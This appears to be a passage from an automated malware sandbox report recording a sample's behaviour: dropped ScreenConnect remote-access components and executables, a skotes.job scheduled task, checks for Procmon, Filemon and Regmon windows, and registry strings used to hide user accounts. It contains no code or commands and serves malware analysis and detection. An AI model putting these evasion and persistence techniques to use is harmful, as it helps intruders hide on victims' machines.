Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\Microsoft.Deployment.Compression.Cab.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIAD07.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsCredentialProvider.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\Microsoft.Deployment.Compression.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA9E9.tmp			Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIAD07.tmp			Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Application

Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (98a59bd0eed9222b)

Hooking and other Techniques for Hiding and Protection

Contains functionality to hide user accounts

Source: ga70pjP.exe, 00000016.00000002.3203015724.00000000055A0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ga70pjP.exe, 00000016.00000000.3002227462.0000000000296000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: rundll32.exe, 0000001C.00000003.3047650336.00000000044C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.WindowsClient.exe, 00000021.00000002.3720350204.000000001BBB1000.00000002.00000001.01000000.00000022.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.WindowsClient.exe, 00000021.00000002.3559506540.0000000002B71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 00000022.00000002.3562215564.0000000002BB2000.00000002.00000001.01000000.00000020.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 00000022.00000002.3557880062.0000000001150000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 00000022.00000002.3565111200.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.Windows.dll.28.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
